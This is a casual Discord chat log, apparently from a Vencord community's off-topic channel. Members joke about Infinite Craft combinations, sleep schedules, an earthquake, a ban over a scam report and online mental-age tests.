oh yeah I also love ass

[solemn plank]

drew a picture of myself

[west hound]

true

[mossy egret]

Biblically accurate Korbo

[echo bronze]

:33333333

[open pasture]

https://fxtwitter.com/lentinidante/status/1753549370568368224

[noble quest]

now, with applke vision you can even give a tree a hug in vr

[winter needle]

lmaooooo

how do people not get motion sick

[stray siren]

Only thing that has made me motion sick was spinning so quickly in an office chair to where it nearly fell over, repeatedly for about 45 mins.

I then felt like I had been kicked in the stomach for five hours afterwards

[solemn plank]

i can walk straight when dizzy

[stray siren]

Same, I mostly feel like I am leaning forward, not really side to side

It feels like having been kicked in the stomach.

Best description I can think of

[storm cedar]

how many people can relate to being kicked in the stomach tho?

[noble quest]

i can at least

[mossy egret]

i’m bi, so i can never walk straight

[storm cedar]

Lmao

[noble quest]

wasnt kicked, but same effect

[storm cedar]

fair

[fallow drum]

you have finally become a transformer

[unreal siren]

what have i created

[storm cedar]

I think you mean 'insurgent'

Terrorist is awfully rude

[cosmic otter]

i got doctor rust

idek

now that's just lazy

[unreal siren]

this is a story

[cosmic otter]

do you have war

[unreal siren]

yes

[noble quest]

is this palworld

[cosmic otter]

pancake war

i have Wikipedia twice

just with different capitalization

[unreal siren]

what the fuck is happening

[cosmic otter]

i have created finsta

and instanetpedia

its evolving

[paper gate]

is this generated as you go on

[cosmic otter]

i assume so

[unreal siren]

Yes

https://neal.fun/infinite-craft/

[cosmic otter]

the combinations aren't done locally

it uses an api

[noble quest]

man i love little alchemy 2

[stray siren]

So a bigass earthquake just went off over here

[cosmic otter]

i got dark Schrödinger

[paper gate]

@cosmic otter oneui 6 is so bad

gonna downgrade

[storm cedar]

damn u alright?

[stray siren]

Yeah I'm fine. I hope the 40 year old copper piping in the foundation of the house is though.

[cosmic otter]

i am making concoctions

[dawn iris]

what is up my fellow Vens

[storm cedar]

hope that's not for gas?

[dawn iris]

https://tenor.com/view/cat-neko-atsume-atsume-gif-6384618149056188212

[stray siren]

Water

[storm cedar]

thankfully you'll now 'just' get dysentery if there's something wrong

[west hound]

how do you combine two things

[unreal siren]

Drag

[west hound]

oh it doesn’t work in librewolf for me for some reason

[cosmic otter]

i won

[paper gate]

nop

[cosmic otter]

time to combine god and human

[paper gate]

wing will make a frog

make frog god

[bleak cosmos]

womp

[paper gate]

womp

[cosmic otter]

ok

i got angelina by combining angel and malaria

[solemn plank]

gn vencord

[cosmic otter]

i got priest

[solemn plank]

this is timed perfectly to the music im making

[echo bronze]

gh

"3

:3

[cosmic otter]

just invented a guy named "Brad Troy"

[dawn iris]

excellent

[solemn plank]

i am really good at this

M. U. L. E. if the game was about being a detective for the SBPD that is pretending to be psychic but is actually just really good at noticing details because your father was a detective

[cosmic otter]

combined religion with religion and got war

[paper gate]

today has been so boring

[west hound]

gn

[stray siren]

Not mine

[solemn plank]

M. U. L. E. if the game actually wasnt M. U. L. E.

gn for real this time\

[storm cedar]

goodnight

[sullen lynx]

ballin'

[storm cedar]

fadin'

[stark herald]

@paper gate you've had several chances

[dusty goblet]

Gm cutie

[storm cedar]

morning

[dusty goblet]

First thing I see when waking up is a train cancellation, lovely

[paper gate]

@burnt maple hi

[dusty goblet]

@paper gate

[paper gate]

@dusty goblet hi

[dusty goblet]

Hi

[storm cedar]

rails are too straight

[dusty goblet]

Hmm

[stark herald]

too many

[dusty goblet]

I'm eepy

I hate getting up at 7am

[sullen lynx]

then get up at 6am

🤷‍♂️

[stray siren]

Same. I only feel actually good at 11am

[sullen lynx]

I have zero sleep schedule, I just slept at 6pm and woke up at midnight

it's currently 1:21 AM

[storm cedar]

I'm just getting several nightmares so I've not slept tonight

[sullen lynx]

your insomnia will induce hallucinations which will in turn give you more nightmares keeping you awake for even longer

[storm cedar]

nah I've had those before

even 72 hours got me chillin with the shadow lads :P

[dusty goblet]

What would I do in that excess hour lmao

[sullen lynx]

They just never seemed to be interested when I ask for the gluck-gluck tho... 😢

[sullen lynx]

take the time to actually wake yourself up

[dusty goblet]

I'd Just fall asleep again

[sullen lynx]

well now you have an hour to do that

[sullen lynx]

floofy

[dusty goblet]

Your logic doesn't make sense

[sullen lynx]

If you set an alarm for 3 in the morning when you need to wake up at 7, you can confidently look at your clock and say 'oh sweet I can sleep for 4 more hours'

[dusty goblet]

That doesn't help a single bit

[sullen lynx]

but you'll feel better about it

[dusty goblet]

No lmfao

[sullen lynx]

don't knock it till you try it 🤷‍♂️

[storm cedar]

I wake up several times at night

and its that feeling

it does not spark enough joy

[dusty goblet]

Waking up on your own is fine but setting an alarm for it is just dumb af

[paper gate]

i hate waking up

[stark herald]

don't

[paper gate]

okay

[sullen lynx]

I used to wake up at 6 and needed to leave the house by 6:30 (not bad timing at all) but one day I looked at my clock thinking it went off and through my sleepy eyes I read 6:00

I got myself ready to go and got out of the house half an hour later, stood outside and waited for a good half-hour (at the time it would still be pitch-black at 6:30 and would start getting brighter by 7) but my ride never came around and that's when I realized I was standing there for half an hour and the sky looked that same (mind you this was before I had a mobile device)

So I kinda just walk back home and looked at my alarm clock with clearer vision to find out it now read 3:10, meaning when I originally looked at it the time was 2 in the morning

...fun times.

drink iced whole milk

I was always quiet as I could be before I left, because they both woke up later for a job that started more around 10

mm-hmm

[dusty goblet]

It's cold outside

[sullen lynx]

explains how I went from college student to homeless guy on a laptop

[unreal siren]

Buy money

[sullen lynx]

...

you guys and your jokes

[sullen lynx]

NO WAY !!!

[storm cedar]

yeah yeah 247 sigma male grindset wake up at 4 am drink knowledge

etc etc

that oughta be with an i at the end

[clever hinge]

God humans suck ass

[storm cedar]

sometimes

[dusty goblet]

Yop

[open pasture]

not me I'm awesome

[dusty goblet]

Most of them at leastc

[clever hinge]

i reported a scammer in a discord, not even a big one, just a small one, and the asshole owner bans me cuz i had vencord on in the ss reporting the scammer

[dusty goblet]

Lmao

[clever hinge]

https://img.azael.moe/Discord_Ppj9HHsV1N.png

oh cant send ss

[willow heath]

"scammers... or someone using vencord? which is a more bannable offense?"

[clever hinge]

pain

[willow heath]

[dusty goblet]

Scammers

[clever hinge]

anyone got perms to embed?

[open pasture]

fuck sonic 2 chemical plant

[dusty goblet]

Vencord users are cute trans gay people most of the time so they're less bannable

[storm cedar]

You should get that person reported with Discord

[willow heath]

aight bro

[clever hinge]

ty <3

[willow heath]

fuckass embed

[clever hinge]

smh

[storm cedar]

the server is a loss of that'd get ya banned

[dusty goblet]

Wtf my train is early

[storm cedar]

NPC energy checks out

[clever hinge]

didn't like my embed huh.

[storm cedar]

whitename privileges' game be whack

[dusty goblet]

There's a derby football match later today

Ideally my work will be done mid game and I'm fine

I wonder how much police there's gonna be

Oh there's also a demonstration today

This will be very fun

[storm cedar]

probably slightly too few for smooth operation

[dusty goblet]

I'm kinda sad thst I have to work tho I would've gone to the demonstration

[dusty goblet]

The City will be full of police anyway

[storm cedar]

isn't it already

[dusty goblet]

Not really

You don't see them too often

[open pasture]

One message removed from a suspended account.

[dusty goblet]

Sleep well

[storm cedar]

Might just be my country that's got a fair bit of police on the roads

[dusty goblet]

Idk

[storm cedar]

not that they pull many people over, but they do patrol the roads and pull over people sometimes

[dusty goblet]

Yeah we have that too

[storm cedar]

and then they sometimes find a kg of cocaine in the trunk or something

[dusty goblet]

Lmao

I just hope to get home smoothly after work

Also I hope for my Club to win but yeah

[junior trout]

e

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[open pasture]

i got 27 which is hilariously wrong

[noble quest]

man i need a better sleep schedule

[dusty goblet]

The questions are bullshit

[noble quest]

yea have to agree with that

[dusty goblet]

I don't know miley Cyrus nor will I ever have a party at home

I stopped there

[noble quest]

https://host.sadanslargehole.com/u/vFTzh8.png

[urban elk]

is that a surprise

[dusty goblet]

Only 82 customers today

[storm cedar]

funne tiktok bone slime

[dense phoenix]

me

[dusty goblet]

Hi sunnie ur cute

[dense phoenix]

hug

[west hound]

i’m 17 💀

anyway those tests are BS

i’m not sure mental age is even a real thing

and if it is, something we can even measure

and if we can that this measures anything related to mental age

to me it measures more how close you are to a broad, barnum psychological profile

[echo bronze]

it is in the sense that physical age doesn't correlate with mental development

like, mental development isn't at a uniform speed

[blissful otter]

ugh why does emoji code convert to fake emoji 😭

if I wanted to post the link I would've written it as a link

[strong oracle]

gay

[dusty goblet]

Indeed I am gay

[paper gate]

Ashes to ashes

Dust to dust

[west hound]

hello gay

[dusty goblet]

Haiiii

[elder geyser]

ed im gay

[dusty goblet]

You're cute too

[lavish relic]

@paper gate mwah

[paper gate]

mwah

[lavish relic]

baby

[dusty goblet]

@lavish relic cute :3

[native ruin]

is that a camt

[lavish relic]

uu

[unborn otter]

link?

[west hound]

scroll up

[west hound]

#🧊-off-topic-iceman-only message

[unborn otter]

danke

[dusty goblet]

Nou

[west hound]

nous means us in french

(nou would sound the same)

[ripe willow]

Community is such a good show

Nous sommes
Vous ettes
Illes sommes
Elles sommes

🎶

@west hound my grade 8 french teacher would sing to us

Like 8 years later and I only remember french that he sang

[west hound]

i hope you didn’t suffer too much learning french